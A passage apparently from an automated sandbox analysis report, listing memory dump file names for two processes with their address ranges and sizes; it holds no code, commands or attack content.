                                                                                                                                                                                                                                                                • memory/4668-193-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  256KB

                                                                                                                                                                                                                                                                • memory/4668-198-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  256KB

                                                                                                                                                                                                                                                                • memory/4668-192-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  256KB

                                                                                                                                                                                                                                                                • memory/4668-194-0x00007FFA56790000-0x00007FFA56985000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  2.0MB

                                                                                                                                                                                                                                                                • memory/4808-139-0x0000000140000000-0x0000000140057000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  348KB

                                                                                                                                                                                                                                                                • memory/4808-138-0x0000000140000000-0x0000000140057000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  348KB